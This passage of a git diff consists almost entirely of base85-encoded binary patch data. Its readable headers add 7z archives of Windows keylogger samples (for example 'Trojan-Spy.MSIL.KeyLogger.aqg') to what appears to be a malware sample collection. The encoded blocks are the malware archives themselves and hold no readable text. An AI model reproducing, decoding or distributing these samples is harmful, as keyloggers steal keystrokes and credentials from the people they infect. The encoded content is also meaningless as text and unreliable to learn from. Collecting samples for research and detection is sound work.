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 literal 0 HcmV?d00001 diff --git a/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.aqg.7z b/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.aqg.7z new file mode 100644 index 0000000000000000000000000000000000000000..50597f1d1207c25d206281040960caebcbffade0 GIT binary patch literal 12858 zcmbVy19WBEwr%XBV%xTD+qP||l2mNlwry5yqhh0C^XJ_2?`!wmckX+?{khxPYwb1X z9(}bn#~kQm%1Z%*Kmq*Gezzg0fE(1bi+x@HaeVta1e}~qYz(bEBy3IXXpNjMJ9=E4 zENsp2l{}oBO>AftO-!v#jGQg(Y`I{eV4<`O{_k*3{D1yY)x^>1tDBsVp7tLfLJA#N zDETi;Zxn`dJ=SKr!|%I8h2*Via7RYKp$V|zSdaMAUA5x+0x z`MS6Mh{eVaJf_YT2Zll~wgdt(Q;q-g?thC!#~($)R1;OSCv@wp*aCK}7#)?8ij_!=G|V=hcspY_PQo>OGaA!i$DbR_&R-j}j@jXR<$ zYS>8J{bYchYO5Pq%FXToDhNRtnx0OesgPX0-RU*inW`pH@;P7IFW&R)L435#O^Q<4 z(Suw{L?k&ve)QHJa5{&}cdB>VeIxqH zx(|$NK#z^Nswg8>U3<)wNn@mhG1o%fcy%Cp07^V;MibmO^t!RFlre%cL!Q*^^q#HT zQa%yzTuUooH342ab&il#x@Q%URJ+y?!&b7takV$bOeTVv(`l*>w7Qc^IHEw!w4fpu zO$njU=%FzDu;$RP2O&bzQsG6!wK_cOKJ+g!qdGHgrNcb~PEU^0_+l6J zw+h3zO-*=*XXCdYo!sTom{D0xR|l$}$Jdp?UcUzlqFV{rIucIvI2pZc7 zYG0G>8Jfmtf;sGXGUvun0~J-WG~0BBfg=$zzy<(HA94RdoqAv9GRIPJNbZL=19EMO zPN82`R$yVZL@x@QthlD&yVl$f%$1xp?swbp0AMBqf3U;ENFO7bmD0bTl*+pjjFpQJ zjI{vfwm&I&SXs)rT_%j)WA$caj?>I(*t1r~#&KC`UpNVxXcOU(N47r~{Y0T^4Xa4| z&iP0>`N%*tBbY5^#&3&qmvVc=iWbat?Z3eKFf1&;4s7vMYK7tY*m4mNRVF~W4HV5^ z)NkmLNQLz%w7N5R-Rx#&2x14?LTUu8)Qs zjk33m!JXsD<0%f9jU7uHe_RjL~eL9riqMg7=?WcuH zX|Y>BOIMr5{K)ImU`h>DyPJ7wJ{Ef1SsTM)j*3&&%kFPX*CJ+F6Flzfsod0wG8|7! zBTg?y?+^MdgTr%~6$ROH;boiGJ&XwqcIGLl$qIyyt!80|8R~|DVdINfP-SCr%$JcR z|B0!$q%f%vez%e6XhbLiyI_tc zLFBTrmPM@X~$ZdkW5lV2*=)!1-{1WH{>mc&6H%#+(NRW%)bwifNmkh^zRw^!;K!0tC_C-%3i2i@M5 zYkyP>KE%j;8=uP)tj;o#>7Xn-%8(&n?cb*ORHB7Rdt zfz_0fAPZ*<3L5ipC-JC&X>wWZoX=Eida!*c_h+SuGR=rB`9Dxjqmx#G+96zsjbO1p zEbo%USexwrsR-YWjIY>;`co46w!$EMGbMwkJ)hf=XNS9tX+2}{D~0bI z_|jsCuoO$SaAwB?jCH9CDd_VfYRYV;t9j=?J{J;YR147;lqC)c09m?Z4=E^Fx+K8x zlG3AN5_ZH6iUW+V6xvQK8K2k}5+x1^QCY4>y$1`6u|_)w^NJr0EN^-5&L;xvYIn!Rel28>)PY_+g{Fg1xTp`}Mr9 z8&99#p-dOw)>q$j$xys`JW-XeU}c=idw!aYqeARoS7aS|!1ScCLzICUZDK2zB=ilN 